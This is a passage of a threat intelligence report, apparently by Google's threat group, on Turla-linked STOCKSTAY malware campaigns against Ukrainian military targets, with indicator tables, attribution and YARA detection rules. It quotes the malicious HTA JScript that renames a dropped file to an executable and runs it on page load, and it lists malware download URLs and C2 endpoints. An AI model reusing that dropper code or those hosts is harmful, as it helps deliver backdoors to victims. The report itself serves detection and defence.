第一个样本名为“ClientMNGR2.exe”,与之前观察到的版本匹配,但第二个样本名为“GR3.exe”,使用了大量垃圾代码进行高度混淆,并采用了一种此前未知的字符串混淆机制。GTIG将这种混淆机制标记为K1MORPHER,并且我们之后观察到其被包含在所有核心STOCKSTAY组件中,并且在部分KAZUAR样本中也发现了该机制,这增强了我们对STOCKSTAY与Turla利用的其他恶意软件处于同一开发生态系统中的信心。
ClientMNGR2.exe
使用K1MORPHER混淆的STOCKSTAY.STOCKBROKER隧道器
d3fd32f915c239872c9e7ed9408b1f36dfcef03aa68f9a396d05c437667cdb43
GR3.exe
98ce3c6e4dd05887ea619f2bbfeb2e2c2805ed07e85e119b79b828b7ef8be397
表14:文件指标
#### 2025年5月28日至8月8日:乌克兰 — 通过恶意HTA进行部署
2025年8月8日,GTIG发现一个名为“calculator.rar”的RAR存档被提交到VirusTotal。该存档自2025年7月22日起至少已被托管在一家乌克兰IT公司的被入侵基础设施上。该存档包含一个名为“Калькулятор грошового забезпечення військовослужбовців 2025.hta”(翻译为“Military personnel cash benefit calculator 2025.hta”)的恶意HTA文件。该HTA被设计为执行STOCKSTAY.MARKETMAKER下载器的一个变种,该下载器也包含在存档中,其代码如图9所示。
图 8:由 Калькулятор грошового забезпечення військовослужбовців 2025.hta 显示的 Lure HTML 页面
<script language="JScript">
function renameAndRunFile() {
try {
var oldName = "calculator_2025_files\\styles.dat";
var newName = "calculator_2025_files\\styles.dat.exe";
var fso = new ActiveXObject("Scripting.FileSystemObject");
if (fso.FileExists(oldName)) {
if (fso.FileExists(newName)) {
fso.DeleteFile(newName);
}
fso.MoveFile(oldName, newName);
var shell = new ActiveXObject("WScript.Shell");
shell.Run('"' + newName + '"', 1, false);
} else {
}
} catch (e) {
}
}
window.onload = function() {
renameAndRunFile();
};
</script>图 9:包含在 Калькулятор грошового забезпечення військовослужбовців 2025.hta 中的 JavaScript 代码
STOCKSTAY.MARKETMAKER 变体从位于乌克兰的第二个被入侵服务器下载了一个 ZIP 存档,“EditorToolsPdf.zip”,其中包含 STOCKSTAY 的核心组件,这次该存档被托管在一个被入侵的 WordPress 实例中。
对军事计算器诱饵存档中修改时间戳的分析表明,此次行动可以追溯到 2025 年 5 月 28 日,当时“calculator_2025_files”文件夹中的大部分内容最后一次被修改。STOCKSTAY.MARKETMAKER 可执行文件最后一次修改时间为 2025 年 6 月 5 日,恶意 HTA 文件最后一次修改时间为 2025 年 6 月 10 日。
对 STOCKSTAY 存档的类似检查显示配置文件在 2025 年 6 月 4 日被修改,而存档本身在被入侵的服务器上最后一次修改时间为 2025 年 6 月 5 日。这一系列事件表明,完整的 STOCKSTAY ZIP 存档在被入侵的基础设施上被部署,同时对初始钓鱼诱饵进行了修改。
GTIG 通过一个可信的第三方确认,用于托管 STOCKSTAY 存档的乌克兰服务器最初被入侵的时间是在 2025 年 5 月 13 日或之前。
calculator.rar
6da0b4c1a5d0d3fb6e6a2990a82ba51db1f68a3bba818baa46526a29731e2342
Калькулятор грошового забезпечення військовослужбовців 2025.hta
HTA 诱饵
(翻译后的文件名:“Military personnel cash benefit calculator 2025.hta”)
0d6b083208097d5b3e189891338540f6c64faaaaf268b0bb0b085dd53d5857b4
styles.dat.exe
626330d22f77d9cbca9d40cc06568041703f194610c4c5a84bbb05a2e4ee7459
EditorToolsPdf.zip
447f430b46fad5a3f8e8c5aad1f8f7f79af069489c3d9c29224bb9f14f0c7bf4
ViewPdf.exe
45bb8d1ab2c13bf4354294e13d3c9be15de625d807301905b98462f43f93e893
ClientMNGR.exe
80f6c010fd260d0bcf18a4b6a8d62505adbed50d2e615ed9522c4bfd61c00661
ConverterDDSNet.exe
55249f296b63a8bcf911b8bc96de43c1ac2b4a56c150a19d33d892a47e57352c
e3364ee21cae6725451e8bc9ab9933df0000fd19814170bd132da68d1906d5ff
表 15:文件指标
https://basecon.com.ua/calculator.rar
包含 HTA 诱饵和 STOCKSTAY.MARKETMAKER 下载器的 RAR 存档
https://online.zp.ua/wp-content/uploads/Tools/EditorToolsPdf.zip
托管 STOCKSTAY ZIP 存档的被入侵 WordPress 基础设施
wss://canal1zac1a.onrender.com/ws
表 16:网络指标
#### 2025 年 7 月 23 日至 28 日:攻击者使用 GitHub 托管 STOCKSTAY MSI 文件
GTIG 识别出一个我们怀疑被威胁行为者用于测试或部署 STOCKSTAY 的 GitHub 账户。该 GitHub 账户 Roberto1983-ai 创建于 2025 年 7 月 23 日 12:01:03。
2025年7月24日,该账户创建了一个名为msi_installer_test2的公共仓库,并上传了一个文件:DiplomacyEduAI.msi。2025年7月28日,同一用户创建了另一个名为msi_installer_test3的仓库,并随后上传了DiplomacyEduAI.msi的另一个版本。
这两个版本的DiplomacyEduAI.msi都包含核心的STOCKSTAY组件,以及一个包含WebSocket C2 URL wss://canal1zac1a.onrender.com/ws的配置文件。GTIG无法识别出任何使用这些特定MSI文件的活跃操作。
DiplomacyEduAI.msi
19e6ed42248f9d03beb343a7c09a864dcd3cd671c29e1e5eac93579225224ac9
6298f3150ad94a242e649886d47c59c634a4d04b9af5ee15e3bf335c40b5e58e
d8fe8f3fe838d5b1a1043096f6f6bb6f524f5f1b0c9f83a081078a824daa0cf3
4e3bed10a8eff3e9205c1f37f647512464271d5ac65df7ae4709735621a38320
表17:文件指标
表18:网络指标
#### 2025年8月14日:行为者使用GitHub托管STOCKSTAY服务器代码
GTIG识别出另一个GitHub账户,该账户被观察到托管我们评估为处理STOCKSTAY C2通信的服务器端代码。GitHub账户ChikenFresh于2025年8月14日创建,随后几乎立即创建了一个名为google-ai-labs-it的公共仓库,并上传了疑似C2控制器代码。我们对C2控制器的分析包含在本报告前面的恶意软件分析部分。
GitHub仓库名称与我们在Render平台上识别出的STOCKSTAY C2服务器相对应,但GTIG并未观察到使用该基础设施的任何活跃操作。我们评估认为,威胁行为者将该GitHub仓库链接到他们的Render账户,以利用其WebSocket托管功能。
server.py
Python STOCKSTAY C2控制器
f04f43b6f7c2d86109c495179b497f7fb45fd95816623de1b77900f71b4f99ed
models.py
用于server.py的数据库表定义和模型
7615140f78d9a0ce31cc9fe8c54c60028a7439cb32526fd97b10afef7145dd78
wtools.py
用于server.py的实用函数
b55f3b8a7334af049ba3f70a9ad3fe78574b1e180c68baf9a7110d104387a636
表19:文件指标
wss://google-ai-labs-it.onrender.com/ws
表20:网络指标
#### 2025年11月:乌克兰——与无人机相关的诱饵和通过CVE-2025-8088部署
2025年11月6日,GTIG识别出一批以无人机为主题的UKR.NET电子邮件账户发送的钓鱼邮件,发送给约20个乌克兰目标,每个邮件都包含一个唯一的ukr.net文件共享链接。每个链接都指向一个恶意RAR存档,该存档利用WinRAR中的路径遍历漏洞(CVE-2025-8088)来安装核心STOCKSTAY组件。2025年11月12日和14日观察到了该钓鱼活动的后续行动。我们发现,这些钓鱼邮件的接收者中只有大约30%的人打开了邮件,但我们无法确认其中有多少人下载或执行了恶意负载。所有受影响的Google账户都标记为需要额外的身份验证检查,作为防止潜在账户被入侵的预防措施。Google还通过我们的政府支持攻击警告(GBAW)通知向受影响的用户发送了通知。
GTIG 识别出恶意 RAR 档案中包含两种不同的乌克兰语诱饵文档,这两种文档似乎都针对乌克兰军事人员。第一种文档为“Донесення БпЛА 06.11.2025.docx”(“UAV report 06.11.2025.docx”),声称是“[A] 关于无人机可用性/需求情况、其状态、每个单位中无人机机组人员的可用性以及他们在第一旅防御区的培训情况的报告,截至 2025 年 11 月 6 日”(见图 10)。
图 10:2025 年 11 月的“报告”诱饵文档
第二种诱饵文档被观察到为“Товари(докладніше).docx”(“Products (more details).docx”)和“Приклади товарів для листа (деталізовано).docx”(“Examples of products for the letter (detailed).docx”),主要包含一份设备清单,其中提到了:“战术医学”;“通信和监控设备”;“设备和生存装备”;以及“汽车财产”(见图 11)。
图 11:2025 年 11 月的“设备清单”诱饵文档
每个诱饵文档都包含一个外部图像引用,这会导致受害者的机器连接到一个可能被威胁行为者监控的网站,从而表明文档已被打开。GTIG 认为,诱饵文档中引用的 URL 可能托管在被入侵的基础设施上。
GTIG 识别出在此次行动中部署的 STOCKSTAY 实例包含增强功能,旨在提高对检测的抵抗力,具体方法是将功能划分为外部模块。这些外部模块被命名以模仿合法的 Windows 库,使用如表 20 所示的文件名。
MSViewer.exe
共享 STOCKSTAY 核心模块
ms-lib-math-core.dll
MSDriver.exe
STOCKSTAY.STOCKBROKER 核心模块
ms-api-wmcpdt.dll
MSRender.exe
STOCKSTAY.STOCKTRADER 核心模块
ms-api-win-render.dll
表 21:2025 年 11 月观察到的 STOCKSTAY 组件文件名
GTIG 观察到在这次钓鱼浪潮中使用了两个不同的 STOCKSTAY WebSocket C2 URL。大多数实例使用了 URL wss://driverx86-adobe.onrender.com/ws;然而,我们能够识别出至少一个 STOCKSTAY 实例使用了 wss://google-ai-labs-it.onrender.com/ws,这与之前描述的与 ChikenFresh 用户相关的 GitHub 仓库相对应。
除了核心 STOCKSTAY 组件外,恶意 RAR 档案中还包含 LNK 文件,被描述为“更新快捷方式”,对应每个核心 STOCKSTAY 组件。提取文件路径被配置为尝试部署到启动程序目录。
GTIG 能够识别出,该行为者在首次发送钓鱼邮件前大约六小时开始为此次行动创建 LNK 文件,乌克兰语诱饵文档则在大约四小时前创建。
a40bf9c75d1bfa6d66f1179f2321de6589f80d3089d992797a9cb0e84f6196ce
e316b1e13154dc6115e1e0c023f6fe3d17861cae839d4a4a81779b6aad9a24f8
c905cb512018cc55512c6a22677c3d6f389c47afd54d7c85797868fc4fcb90e9
667a8f568a611f2f3d84a366b7946b360e055bece9699c95aad619637ab72a38
包含核心加密和混淆例程的模块,历史上在核心 STOCKSTAY 组件中发现
b287347a5bff8af360ce0e6500c336b6fe6d97920abc26202c9d843ffebc5f89
包含后门命令处理程序的模块,历史上在 STOCKSTAY.STOCKTRADER 中发现
1682e8d82016b3f10434d2ebac995fd3b6aa812f079bfd7888652e94a994d851
包含 STOCKSTAY 的 IPC 逻辑的模块,历史上每个 STOCKSTAY 组件中都包含该模块
e2a0f4440f67998a0215d49be31746ea192bfcb4dc4ee532a218f8cf13605714
MSViewer.lnk
用于执行 STOCKSTAY.STOCKMARKET 的 LNK 快捷方式
3627f582420ad2782d452fe6d13fae42658d1484296351d3916703e25dcadd14
MSRender.lnk
用于执行 STOCKSTAY.STOCKTRADER 的 LNK 快捷方式
77417df21b4b4e8d86b8bda4afeef93fd36f355362586b2d1f51121a82244167
MSDriver.lnk
用于执行 STOCKSTAY.STOCKBROKER 的 LNK 快捷方式
813c78b5b6ef28a9c0ed35f2c6cd88fc50880ab91f8777dfe7aaccb1c24b08d5
e83f274bf9914c6cfc0c6b3cdadf089565f49dace4aca93287c22aba9641c8f3
f964353b9ae4bedbe62de6c0d7eafa9fb8b87897bbaea483aedaa8ae191834da
表 22:文件指标
wss://driverx86-adobe.onrender.com/ws
表 23:网络指标
归因
GTIG 将 STOCKSTAY 生态系统及其相关活动归因于与 Turla 高度关联的威胁集群,依据如下:
- STOCKSTAY 在命令处理过程中使用 Windows-1251 编码,这种编码特别设计用于支持西里尔文字。这表明开发或运营环境与东欧、巴尔干半岛或中亚有关。
- STOCKSTAY 与 KAZUAR 有代码重叠,KAZUAR 是一个广泛归因于 Turla 的专有工具包,基于近期在两个恶意软件家族中引入 K1MORPHER 字符串混淆的相似时间窗口。
- GTIG 观察到 STOCKSTAY 从被入侵的基础设施中分发,这些基础设施也被确认为托管了 Turla 的受害者面向的 KAZUAR C2 基础设施的一部分。
Turla 一直专注于针对乌克兰国防和军事组织,曾在 Mandiant 事件响应中部署 STOCKSTAY,同时使用其他多种专有 Turla 恶意软件,如 WILDDAY、DIAMONDBACK 和 KAZUAR。
检测
#### Google 安全运营(SecOps)
SecOps 客户将可以访问以下待部署的规则。一旦完全部署,这些规则将包含在 Mandiant Frontline Threats、Mandiant Hunting 和 Mandiant Intel Emerging Threats 规则包中:
- 归档器提取到 Windows 启动项
- 注册表写入注册表运行键
- 注册表写入运行注册表键
- 从网络钓鱼中潜在的 RDP 文件写入
- 从暂存目录发起的 RDP 连接
- Onrender 子域名可疑 DNS 查询
#### YARA 规则
rule G_Backdoor_STOCKSTAY_ConfigurationFile_2 {
meta:
author = "Google Threat Intelligence Group"
description = "检测与 STOCKSTAY 相关的加密配置文件。"
hash = "40a3b969d81ef1ef35dd9ebcc6774e060b1b8949d3d74f38ca6b7d789c95cdb3"
strings:
$s1 = "\"SystemConfiguration\""
$s2 = "一个用于获取交易平台上当前事件信息的应用程序"
$s3 = "要设置信息更新的时间,请在 `Interval` 字段中输入分钟数"
$s4 = "`SystemConfiguration` 字段存储了应用程序的系统设置。"
$s5 = "在 `services` 字段中,填写提供 `WebSocket protocol` 的服务地址列表。"
$s6 = "wss://"
condition:
uint16(0) == 0x227B // {"
and 4 of ($s*)
}rule G_Backdoor_STOCKSTAY_ConfigurationFile_3 {
meta:
author = "Google Threat Intelligence Group"
description = "检测与 STOCKSTAY 相关的早期配置文件。"
hash = "1a2ca8b8e0344fe3d80da7352206a470245443e2349a237bc093df934ddc011f"
strings:
$key_required_1 = "\"List 1\""
$key_required_2 = "\"List 2\""
$key_required_3 = "\"List 3\""
$key_dummy_1 = "\"BinanceApi\""
$key_dummy_2 = "\"CoinbaseCloudApi\""
$key_dummy_3 = "\"CoinbaseCloudApi Sandbox\""
$key_dummy_4 = "\"ByBitApi Spot\""
$key_dummy_5 = "\"ByBitApi Linear\""
$key_dummy_6 = "\"Info level\""
$key_dummy_7 = "\"Rate info\""
$key_dummy_8 = "\"Info level\""
condition:
uint8(0) == 0x7B // {
and filesize > 500
and all of ($key_required_*)
and 3 of ($key_dummy*)
}rule G_Backdoor_STOCKSTAY_ConfigurationFile_5 {
meta:
author = "Google Threat Intelligence Group"
description = "检测 STOCKSTAY 恶意软件家族使用的明文配置文件。"
hash = "6cee9e838792ac5e2098362d68ce93a9a2c095d476dc16b289fe8509c99b2b8b"
strings:
$internal_id_1 = "\"internal_id\""
$internal_id_2 = "\"i_id\""
$internal_key_1 = "\"internal_key\""
$internal_key_2 = "\"i_k\""
$interval_engine_1 = "\"interval_engine\""
$interval_engine_2 = "\"ie\""
$level_info_1 = "\"level_info\""
$level_info_2 = "\"li\""
$time_scale_1 = "\"time_scale\""
$time_scale_2 = "\"ts\""
$span_min_1 = "\"span_min\""
$span_min_2 = "\"mx1\""
$span_max_1 = "\"span_max\""
$span_max_2 = "\"my1\""
$rate_1 = "\"rate\""
$rate_2 = "\"rt_x_y\""
$rate_control_1 = "\"rate_control\""
$service_1 = "\"service\""
$service_2 = "\"srv\""
$days_not_work_1 = "\"days_not_work\""
$days_not_work_2 = "\"dnw\""
$system_properties_1 = "\"system_properties\""
$system_properties_2 = "\"sp\""
condition:
any of ($internal_id*)
and any of ($internal_key*)
and any of ($interval_engine*)
and any of ($level_info*)
and any of ($time_scale*)
and any of ($span_min*)
and any of ($span_max*)
and any of ($rate*)
and any of ($service*)
and any of ($days_not_work*)
and any of ($system_properties*)
}rule G_Backdoor_STOCKSTAY_CryptoContainer_1 {
meta:
author = "Google Threat Intelligence Group"
description = "检测 STOCKSTAY 组件中用于解析加密容器的代码。"
hash = "82707cfdf24dcb762f4615f01e1ba4d3dfdec4abe9cd588558d2634d7e6a5eeb"
strings:
$s1 = "BuildCryptoContainer"
$s2 = "ParseCryptoContainer"
$s3 = "Windows-1251" wide
$s4 = "AesCryptoServiceProvider"
$s5 = "RSACryptoServiceProvider"
condition:
uint16(0) == 0x5a4d
and all of them
}rule G_Backdoor_STOCKSTAY_WindowNames_1 {
meta:
author = "Google Threat Intelligence Group"
description = "检测 STOCKSTAY 窗口名称。"
hash = "dfd5cb91d06b9649d4cab500343af80ad1144a9e46641cc406f43dd169003c22"
strings:
$import = "_CorExeMain"
$s2 = "SMEditorPage" wide
$s3 = "SMNetPage" wide
$s4 = "StockMarketViewPage" wide
$s5 = "window_system32_x128" wide
$s6 = "window_system32_x64" wide
$s7 = "window_system32_x32" wide
condition:
$import
and any of ($s*)
}rule G_Downloader_STOCKSTAY_MARKETMAKER_1 {
meta:
author = "Google Threat Intelligence Group"
description = "基于方法名称和有效载荷文件名称检测 STOCKSTAY.MARKETMAKER 下载器。"
hash = "da8a96bc74e265f945f1cc6992c6dc0f9ea36ed1991f7b8d312db79d9bf78c40"
strings:
$f1 = "CheckAutoRun"
$f2 = "SetupAutoRun"
$f3 = "DownloadAndExtractZip"
$f4 = "GetSystemProxy"
$s0 = "_CorExeMain"
$s1 = "Software\\Microsoft\\Windows\\CurrentVersion\\Run" wide
$s2 = "StockMarketView.exe" wide
$s3 = "SMNet.exe" wide
$s4 = "SMEditor.exe" wide
condition:
all of them
}rule G_Controller_STOCKSTAY_STOCKMARKET_1 {
meta:
author = "Google Threat Intelligence Group"
description = "基于方法和字段名称以及 SQL 查询检测 STOCKSTAY.STOCKMARKET 控制器。"
hash = "2af7b513c05e76d7da5f75bb0a223c894a706c99ef2c2ddfe4eae542f95a08e0"
strings:
$f1 = "ProtocolMessageConnect"
$f2 = "ProtocolMessageEnd"
$f3 = "ProtocolMessagePing"
$f4 = "ProtocolMessageRequestRecv"
$f5 = "ProtocolMessageRequestSend"
$f6 = "ProtocolMessageTask"
$f7 = "ProtocolMessageTaskSysinfo"
$f8 = "TMR_AppInit_Tick"
$f9 = "TMR_Engine_Tick"
$f10 = "TMR_KeepAlive_Tick"
$f11 = "TMR_PingNet_Tick"
$f12 = "TMR_PingSystem_Tick"
$f13 = "GetDataTrade"
$f14 = "GetDataNews"
$f15 = "InsertDataTrade"
$f16 = "InsertDataNews"
$sql1 = "CREATE TABLE IF NOT EXISTS News (" wide
$sql2 = "CREATE TABLE IF NOT EXISTS Trade (" wide
$sql3 = "CREATE TABLE IF NOT EXISTS Market (" wide
$sql4 = "INSERT INTO Market ( Guid, Version, Config, Status, Launch, Type ) VALUES (@Guid, @Version, @Config, @Status, @Launch, @Type)" wide
$sql5 = "INSERT INTO News (Container) VALUES (@Container)" wide
$sql6 = "INSERT INTO Trade (Container) VALUES (@Container)" wide
condition:
8 of ($f*)
and any of ($sql*)
}rule G_Tunneler_STOCKSTAY_STOCKBROKER_1 {
meta:
author = "Google Threat Intelligence Group"
description = "基于已知的 IPC 消息处理程序和变量名称检测 STOCKSTAY.STOCKBROKER 隧道程序。"
hash = "dfd5cb91d06b9649d4cab500343af80ad1144a9e46641cc406f43dd169003c22"
strings:
$s1 = "_CorExeMain"
$s2 = "ProtocolMessageStatusConnection"
$s3 = "ProtocolMessageResult"
$s4 = "ProtocolMessageEnd"
$s5 = "OnGetDataFromServer"
$s6 = "webSocket"
$s7 = "wmCopyData"
$s8 = "tempStorage"
condition:
all of them
}rule G_Backdoor_STOCKSTAY_STOCKTRADER_3 {
meta:
author = "Google Threat Intelligence Group"
description = "基于已知的命令处理器和 FNV1a 哈希,检测 STOCKSTAY.STOCKTRADER 后门。"
hash = "82707cfdf24dcb762f4615f01e1ba4d3dfdec4abe9cd588558d2634d7e6a5eeb"
strings:
$cmd_1 = "AppDel"
$cmd_3 = "AppDeleteRegistryValue"
$cmd_4 = "AppDir"
$cmd_5 = "AppGet"
$cmd_6 = "AppMkdir"
$cmd_7 = "AppPut"
$cmd_8 = "AppReadRegistryValue"
$cmd_9 = "AppRegistryKeyExists"
$cmd_10 = "AppRmdir"
$cmd_11 = "AppRun"
$cmd_12 = "AppWriteRegistryValue"
$cmd_13 = "AppUnpackArchive"
$cmd_14 = "ArchiveFiles"
$cmd_15 = "GetFiles"
$cmd_16 = "Sysinfo"
$hash_1 = {ea8e5e34}
$hash_2 = {3445694e}
$hash_3 = {f73e97b6}
$hash_4 = {9aa70c59}
$hash_5 = {18b496c9}
$hash_6 = {0f716ebc}
$hash_7 = {8e2d79ce}
$hash_8 = {3ae2a963}
$hash_9 = {35d26840}
$hash_10 = {6c41d6bc}
$hash_11 = {1fdbbb2f}
$hash_12 = {6ae6578d}
$hash_13 = {66732be7}
$hash_14 = {0b113b3d}
condition:
uint16(0) == 0x5a4d
and (
12 of ($cmd*)
or 10 of ($hash*)
)
}rule G_Hunting_K1MORPHER_1 {
meta:
author = "Google Threat Intelligence Group"
description = "检测与 .NET 类 K1.Morpher 相关联的明文类和方法名称"
hash = "45bb8d1ab2c13bf4354294e13d3c9be15de625d807301905b98462f43f93e893"
strings:
$plain_api_1 = "Squirrel3"
$plain_api_2 = "DecryptArraySimple"
$plain_api_3 = "DecryptIntSimple"
$plain_api_4 = "DecryptLongSimple"
$plain_api_5 = "DecryptFloatSimple"
$plain_api_6 = "DecryptStringSimple"
$plain_api_7 = "DecryptDoubleSimple"
$plain_api_8 = "_squ_ui1"
$plain_api_9 = "_squ_ui2"
$plain_api_10 = "_squ_ui3"
$plain_api_11 = "InjectedSeedCipher"
condition:
dotnet.is_dotnet
and 5 of ($plain_api*)
}rule G_Hunting_K1MORPHER_2 {
meta:
author = "Google Threat Intelligence Group"
description = "检测 K1.Morpher 中实现的 Squirrel3 RNG"
hash = "45bb8d1ab2c13bf4354294e13d3c9be15de625d807301905b98462f43f93e893"
strings:
$squirrel3_code_1 = {
00 // nop
03 // ldarg.1
0A // stloc.0
06 // ldloc.0
7E ??????04 // ldsfld <token>
5A // mul
0A // stloc.0
06 // ldloc.0
02 // ldarg.0
58 // add
0A // stloc.0
06 // ldloc.0
06 // ldloc.0
1E // ldc.i4.8
64 // shr.un
61 // xor
0A // stloc.0
06 // ldloc.0
7E ??????04 // ldsfld <token>
58 // add
0A // stloc.0
06 // ldloc.0
06 // ldloc.0
1E // ldc.i4.8
62 // shl
61 // xor
0A // stloc.0
06 // ldloc.9
7E ??????04 // ldsfld <token>
5A // mul
0A // stloc.0
06 // ldloc.0
06 // ldloc.0
1E // ldc.i4.8
64 // shr.un
61 // xor
0A // stloc.0
06 // ldloc.0
0B // stloc.1
2B 00 // br.s 40
07 // ldloc.1
2A // ret
}
condition:
dotnet.is_dotnet
and all of them
}rule G_Hunting_K1MORPHER_3 {
meta:
author = "Google Threat Intelligence Group"
description = "检测 K1.Morpher 中实现的 Squirrel3 RNG"
hash = "391e51354118fb87dc57650cbbd94258c3f7c0a0d6868040b7a473ad626ff25e"
strings:
$squirrel3_code_1 = {
03 // ldarg.1
7E??????04 // ldsfld <token>
5A // mul
02 // ldarg.0
58 // add
25 // dup
1E // ldc.i4.8
64 // shr.un
61 // xor
7E??????04 // ldsfld <token>
58 // add
25 // dup
1E // ldc.i4.8
62 // shl
61 // xor
7E??????04 // ldsfld <token>
5A // mul
25 // dup
1E // ldc.i4.8
64 // shr.un
61 // xor
2A // ret
}
condition:
dotnet.is_dotnet
and all of them
}致谢
如果没有 Gabby Roncone 在技术审查方面的帮助,这项分析将无法完成。我们还感谢 GitHub 与我们合作应对这一威胁。
发布在
- 威胁情报